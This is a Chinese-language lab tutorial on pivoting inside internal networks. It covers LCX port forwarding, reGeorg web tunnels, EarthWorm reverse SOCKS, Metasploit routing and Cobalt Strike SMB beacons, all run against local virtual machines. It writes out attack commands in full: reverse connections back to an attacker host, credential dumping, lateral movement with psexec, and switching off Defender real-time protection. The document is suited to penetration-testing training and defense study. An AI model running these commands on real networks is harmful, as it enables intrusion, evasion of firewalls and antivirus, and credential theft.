基于实战靶场环境，从端口转发到SMB隧道，逐层突破内网防火墙限制。
1. 核心理念：代理与隧道
在渗透测试中，代理（Proxy） 与**隧道（Tunnel）**是两个核心概念，但经常被混用。理解它们的区别，是搭建内网通道的第一步。
| 对比维度 | 代理 (Proxy) | 隧道 (Tunnel) |
|---|---|---|
| 核心作用 | 扮演"中间人"角色，代表客户端向目标服务器转发请求，并将响应返回。 | 对原始流量进行封装，隐藏真实数据特征，绕过防火墙检测。 |
| 工作层级 | 应用层（HTTP/FTP/SOCKS），理解具体协议。 | 传输层（TCP/UDP）或网络层（IP），对应用透明。 |
| 典型工具 | Proxifier, reGeorg, EW (ssocksd) | LCX, FRP, Chisel, Cobalt Strike SMB Beacon |
简单来说：代理解决"路由不可达" ------A和C不通，但A↔B通、B↔C通，于是B做跳板；隧道解决"协议被拦"------防火墙封了敏感端口，于是将流量伪装成允许通过的类型（如HTTP、SMB）。
1.1 正向连接 vs 反向连接
| 对比维度 | 正向连接 (Bind) | 反向连接 (Reverse) |
|---|---|---|
| 发起方 | 攻击者主动连接目标开放端口。 | 目标主机主动回连攻击者监听端口。 |
| 适用场景 | 目标有公网IP，且防火墙允许入站。 | 目标在内网（无公网IP），或入站被严格拦截。 |
| 防火墙穿透 | 容易被入站规则拦截。 | 利用出站规则通常宽松，成功率更高。 |
正向连接比如你直接SSH到一台公网服务器；反向连接则像MSF的 reverse_tcp payload，让目标机主动连你。
2. 靶场环境搭建
本次实验完全基于虚拟机（VMware Workstation Pro / Player）搭建，共涉及三台靶机+攻击机。如果你需要复现，可参考以下网络拓扑（IP已固定，避免DHCP变动）。
| 主机 | 网卡1 | 网卡2 | 角色 |
|---|---|---|---|
| Windows 2003 | NAT: 192.168.198.148 | LAN区段1: 10.10.10.10 | Web服务器 / 跳板机 |
| Windows 7 | LAN区段1: 10.10.10.110 | LAN区段2: 20.20.20.20 | 内网主机（双网卡） |
| Windows 10 | LAN区段2: 20.20.20.200 | --- | 最终目标（单网卡） |
| Kali (攻击机) | VMnet8: 192.168.198.143 | --- | 外网攻击机 |
关键配置细节：
- • Windows 2003 开启 IIS + PhpStudy (端口90)，用于Web渗透入口。
- • Windows 7 开启防火墙，入站规则仅允许"万维网服务 (HTTP)"即80端口，模拟只开放Web服务的场景。
- • Windows 10 开启防火墙，入站规则仅允许"文件和打印机共享 (SMB)"即445端口，模拟仅开放SMB的内网主机。
防火墙配置的具体操作（以Win7为例）：控制面板 → Windows防火墙 → 高级设置 → 入站规则 → 新建规则 → 预定义 → 选择"万维网服务 (HTTP)"，然后启用防火墙。这样外部只能通过80端口访问Win7，其他端口（如2222）即使监听也会被丢弃。
虚拟机镜像下载： 由于是自定义配置的靶场，暂无现成OVA文件。可自行下载 Windows Server 2003 / Windows 7 / Windows 10 官方ISO 进行安装，按上述网络拓扑配置即可。若需快速复现，可参考公开的"内网渗透靶场"项目（如 VulnHub 上的类似环境）。
3. LCX：经典端口转发工具
LCX 是一款轻量级端口转发工具，适用于目标主机能出网、但需要将内网服务（如3389）映射到攻击者本地的场景。它不是完整的代理，而是纯粹的端口转发，为后面的工具使用做铺垫。
3.1 开启远程桌面 (3389)
在获得 Windows 2003 的 Shell 后，首先启用远程桌面服务。在 MSF 的 Meterpreter 中执行：
meterpreter > run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Opening port in local firewall if necessary如果 Meterpreter 模块不可用，也可通过上传并执行 3389.bat 脚本（修改注册表）来开启：
echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
regedit /s 3389.reg
del 3389.reg3.2 LCX 转发3389端口
攻击机（物理机，IP 192.168.100.112）执行监听：
lcx.exe -listen 2222 1234
# 监听本地的2222端口，将收到的流量转发到1234端口在 WebShell（Windows 2003）上执行：
lcx.exe -slave 192.168.100.112 2222 127.0.0.1 3389
# 将本机3389端口的流量，通过2222端口转发到攻击机然后在攻击机上使用远程桌面连接 127.0.0.1:1234，输入之前抓取的密码 Administrator / 123456，成功登录跳板机桌面。
❓ 为什么一定要转接到1234端口？不能直接用2222吗？
因为 lcx -listen 2222 1234 的含义是：监听2222端口接收Slave的连接，然后将数据转发到本地1234端口 。远程桌面客户端（mstsc）连接的是 本地转出端口 （即1234），而不是监听端口（2222）。如果直接连2222，我们连的就是LCX的"控制通道"，而非经过解包还原的RDP流量。当然，也可以改成 -listen 2222 3389，然后连 127.0.0.1:3389，但容易与本地已有服务冲突，因此通常错开。
4. reGeorg + Proxifier：Web隧道代理
当目标服务器（WebServer）只能通过HTTP/HTTPS出网（例如防火墙只允许80/443），且我们需要访问其内网其他主机时，reGeorg 是最佳选择。它通过PHP/ASP脚本建立SOCKS隧道。
4.1 生成隧道脚本并上传
python neoreg.py generate -k 111
# 生成 neoreg_servers 文件夹，内含 tunnel.php / tunnel.aspx 等将 tunnel.php 上传到 Windows 2003 的 Web 目录（如 C:\phpStudy\WWW\），确保可通过 http://192.168.198.148:90/tunnel.php 访问。这里放到根目录是偷懒行为，实际护网环境需要放到子目录，以增加隐蔽性。
4.2 启动隧道与Proxifier配置
在攻击机执行：
python neoreg.py -k 111 -u http://192.168.198.148:90/tunnel.php此时 reGeorg 会在本地开启 SOCKS5 代理（默认 127.0.0.1:1080）。
打开 Proxifier，添加代理服务器：地址 127.0.0.1，端口 1080，协议 SOCKS5。在代理规则中，将本地 Python 进程设为 Direct（避免死循环），其余流量全部走代理。
此时在浏览器访问 http://10.10.10.10:80（Win2003 内网IP上的网站），即可正常打开，证明隧道打通。
❓ 为什么Proxifier的代理服务器要填127.0.0.1:1080，而不是直接填内网IP？
Proxifier 是一个"全局代理"工具，它将本机应用程序的流量劫持并转发到你指定的 SOCKS 代理服务端 。这个服务端（reGeorg）在本地监听1080端口，负责将数据封装成HTTP请求发给WebServer，再由WebServer转发到内网。也就是说，Proxifier 只管把流量丢给 本地的1080端口，真正的"路由决策"由 reGeorg 和 WebServer 完成。
所谓的代理，其实不是一个简单的节点，而是由"reGeorg（本地端）"和"Webserver（远端）"共同组成的一个"代理链路"，两者分工明确，缺一不可。
Proxifer仅仅只是按照127.0.0.1:1080这个"发货地址"，机械的把流量发送到那里而已， 随后reGeorg 负责**"打包",** 把所有 SOCKS5 请求翻译成普通的 HTTP 请求，然后发给 Webserver。webserver接收到 reGeorg 发来的 HTTP 请求后，立刻执行真正的"路由决策"------拆包并建立 TCP 连接 。它会根据请求里的目标地址（比如 10.10.10.10:80），由 Webserver 主动去连接内网的那台主机，拿到数据后再原路封装返回。
5. EW (EarthWorm) 多级代理
EW 是一款支持多级级联的代理工具，可同时做服务端和客户端，适用于复杂内网环境。它支持正向代理（ssocksd）、反向代理（rcsocks+rssocks）以及端口转发（lcx_tran/lcx_slave）。
5.1 正向代理（ssocksd）
在目标主机（Windows 2003）直接开启SOCKS代理：
ew.exe -s ssocksd -l 1080攻击机 Proxifier 设置代理为 192.168.198.148:1080（目标外网IP），即可通过该代理访问内网。适用场景：目标主机有公网IP且防火墙允许入站连接。
5.2 反向代理（rcsocks + rssocks）
当目标主机位于内网（无公网IP）或防火墙拦截入站时，使用反向代理。
攻击机（192.168.198.143）监听：
ew.exe -s rcsocks -l 1080 -e 888
# -l 1080: SOCKS代理端口，供Proxifier连接
# -e 888: 反向连接等待端口，等待目标主机来连目标主机（Windows 2003）执行：
ew.exe -s rssocks -d 192.168.198.143 -e 888
# -d: 攻击机的IP
# -e: 攻击机开放的等待端口此时目标主机主动连接攻击机的888端口，打通隧道。攻击机Proxifier仍然设置代理为 127.0.0.1:1080，流量经由反向通道进入内网。
❓ 为什么反向连接时攻击机要同时开1080和888两个端口？
1080 是提供给 Proxifier 等客户端使用的 SOCKS 服务端口 ；888 是专门等待目标主机（rssocks）连接的 控制通道端口。两者分工明确：888负责建立和维护隧道，1080负责接收应用层流量并转发至隧道。
5.3 连接故障排除（实战经验）
在练习中，使用 ew -s rssocks -d 192.168.100.112 -e 888 一直报 Can Not Connect，即使关闭防火墙也无济于事。原因在于：NAT模式下虚拟机（192.168.198.148）和物理机（192.168.100.112）不在同一广播域，且物理机没有做端口映射。最终解决方案是：
将攻击机的VMnet8虚拟网卡IP（192.168.198.1）作为目标地址，因为VMnet8是虚拟机NAT网络的网关，虚拟机与该网关直接通信。命令改为：
ew.exe -s rssocks -d 192.168.198.1 -e 888连接成功。这个教训告诉我们：在虚拟网络环境中，务必搞清楚 VMnet8/VMnet1 的IP，而不是物理网卡的IP。
6. MSF 内置路由与SOCKS代理
Metasploit 本身支持通过 autoroute 添加路由，然后利用 socks_proxy 模块开启代理，无需额外上传工具。
6.1 Meterpreter 会话中添加路由
meterpreter > run post/multi/manage/autoroute
[+] Route added to subnet 10.10.10.0/255.255.255.0 from host's routing table.此时MSF已具备访问 10.10.10.0/24 网段的能力。
6.2 开启 SOCKS 代理
msf6 > background
[*] Backgrounding session 1...
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.然后 Proxifier 连接 127.0.0.1:1080，即可通过MSF路由访问内网。
7. Cobalt Strike 代理与 SMB 隧道
CS 提供了图形化的 SOCKS 代理和多种隧道协议（HTTP/DNS/SMB）。在实战中，SMB 隧道是最隐蔽的横向移动方式。
7.1 CS 开启 SOCKS 代理
在已上线的 Beacon 会话上，右键 → 代理转发 → SOCKS 代理，设置端口（如1080）和协议（SOCKS4/SOCKS5）。Proxifier 配置相同地址端口即可访问内网。
7.2 正向连接突破Win7防火墙
Win7 防火墙仅开放80端口，常规反向TCP Beacon（如4444）无法回连。尝试正向连接：
-
- 创建 Beacon TCP 监听器（无阶段，纯TCP）
-
- 生成无阶段木马，上传到 Win7 并执行。 //此处直接上传木马到Windows7，仅仅是环境模拟，后续随着学习的深入会补全拿到权限的这一个环节
-
- 在 Win2003 的 Beacon 中执行
connect 10.10.10.110 2222主动连接Win7。
- 在 Win2003 的 Beacon 中执行
但此时由于 Win7 防火墙仅允许80端口入站，2222端口的连接被拦截，无法上线。因此需要改用 反向连接：
在 Win2003 Beacon 上右键 → 代理转发 → 转发上线，填写 10.10.10.10:2222（Win2003 内网IP），生成后门在 Win7 上执行。此时 Win7 主动连接 Win2003 的2222端口，而 Win2003 的出站规则通常不受限制，于是成功上线。
7.3 SMB 隧道：突破Win10防火墙
Win10 防火墙仅开放445端口（SMB）。正向连接（Win7→Win10）被Win10入站规则阻拦；反向连接（Win10→Win7）被Win7入站规则阻拦（因为Win7也开启了防火墙）。此时唯一的出路是 SMB 隧道：
-
**原理：**使用 Windows 命名管道（Named Pipe）通信，流量封装在 SMB 协议中，通过445端口传输。
-
操作： 在 CS 中创建 SMB 监听器（端口3333），然后通过
jump psexec或jump smb横向移动，利用 Win7 的凭证（或哈希）连接 Win10 的 ADMIN$ 共享。beacon> jump psexec 20.20.20.200 smb
[*] Tasked beacon to run windows/beacon_bind_pipe on 20.20.20.200 via Service Control Manager
[+] established link to child beacon: 20.20.20.200
成功建立 SMB 隧道后，Win10 的 Beacon 通过命名管道挂载在 Win7 下，流量完全隐藏在 SMB 协议中，防火墙无法拦截。
❓ 为什么我的 `portscan` 能看到 20.20.20.200 ，也就是Windows10存活，但目标列表里没有它？
CS 的目标列表（Targets）需要 端口扫描结果 才会自动添加。如果`portscan` 只做了 ARP 探测（只显示 MAC），而没有扫描具体端口（如135,445），则 CS 不会将其加入列表。解决方法：执行 portscan 20.20.20.200 135,445 arp 1024，如果端口开放，CS 会自动记录到目标列表中。若仍不显示，可手动在图形界面添加：View → Targets → Add Hosts。
8. 综合防御与命令速查表
针对上述攻击手法，防御方应重点关注：
- **限制出站流量：**严格管控内网主机的出站连接，尤其是对非信任IP的TCP连接。
- **禁用高危协议：**如 SMBv1，关闭不必要的 ADMIN$ 共享，限制445端口访问。
- **端点检测：**监控 LSASS 进程的异常访问（防 mimikatz），检测命名管道异常创建（防 SMB Beacon）。
- **网络分层：**将不同安全级别的服务器置于不同网段，严格配置 ACL 和微隔离。
📋 命令速查表（按目的分类）
| 目的 | 命令 |
|---|---|
| 端口转发 (LCX) | lcx.exe -listen 2222 1234 (服务端) lcx.exe -slave 攻击机IP 2222 127.0.0.1 3389 (客户端) |
| Web隧道 (reGeorg) | python neoreg.py -k 密码 -u http://目标/tunnel.php |
| EW 正向代理 | ew.exe -s ssocksd -l 1080 |
| EW 反向代理 (服务端) | ew.exe -s rcsocks -l 1080 -e 888 |
| EW 反向代理 (客户端) | ew.exe -s rssocks -d 攻击机IP -e 888 |
| MSF 添加路由 | run post/multi/manage/autoroute |
| MSF SOCKS代理 | use auxiliary/server/socks_proxy; set SRVPORT 1080; run |
| CS 开启SOCKS | 图形界面：会话右键 → 代理转发 → SOCKS代理 |
| CS 横向移动 (SMB) | jump psexec 目标IP smb |
| CS 端口扫描 | portscan 目标IP 端口列表 arp 线程数 |
| MSF 抓取哈希 | load kiwi; creds_all |
| 启用远程桌面 | run post/windows/manage/enable_rdp |
内网横向移动错误码速查表
在本次渗透实战中，我们依次遇到了以下错误码，每一步排错都对应一个真实障碍。整理如下，便于日后快速对照：
| 错误码 | 英文含义 | 中文提示 | 出现场景 | 根本原因 | 解决方法 |
|---|---|---|---|---|---|
| 53 | ERROR_BAD_NETPATH |
找不到网络路径 | net view / jump psexec 上传文件时 |
网络层不通（防火墙拦截、路由不可达、主机挂起） | 检查防火墙规则、确认主机开机、改用VMnet网关IP |
| 1722 | RPC_S_SERVER_UNAVAILABLE |
RPC 服务器不可用 | jump psexec 打开服务控制管理器时 |
135端口被拦截（防火墙阻止远程服务管理） | 关闭防火墙 / 将网络类型从"公用"改为"专用" |
| 1326 | ERROR_LOGON_FAILURE |
用户名或密码错误 | net use 测试凭证时 |
提供的用户名/密码不正确，或账户被禁用 | 确认密码、启用 Administrator 账户 |
| 1331 | ERROR_ACCOUNT_DISABLED |
账户已禁用 | net use 测试空密码时 |
Windows 10 默认禁用内置 Administrator |
在本地用户管理中启用 Administrator |
| 225 | ERROR_BAD_PIPE / ERROR_NETWORK_ACCESS_DENIED（变体） |
服务启动失败 | jump psexec 服务创建成功但无法启动 |
Windows Defender 实时保护拦截服务进程启动 | 关闭实时保护：Set-MpPreference -DisableRealtimeMonitoring $true |
排错思维链（按顺序自查）
在内网横向移动时，可以按照以下顺序快速定位问题：
- 能 Ping 通吗？ → 不能 → 检查路由/防火墙/主机状态
- 445 端口通吗？（
net view \\目标IP） → 不能 → 检查防火墙入站规则（SMB） - 135 端口通吗？（远程服务管理） → 不能 → 检查防火墙 RPC 规则（或关闭防火墙）
- 凭证对吗？（
net use \\目标IP\IPC$ /u:用户名 密码） → 不对 → 检查用户名/密码/账户状态（是否禁用） - 服务能启动吗？（
jump psexec） → 不能 → 检查杀软/实时保护、或改用schtasks
本文档基于 内网隧道与代理 实战笔记整理，所有操作均在本地虚拟化靶场中完成，严格遵守《网络安全法》，仅用于技术研究与防御学习。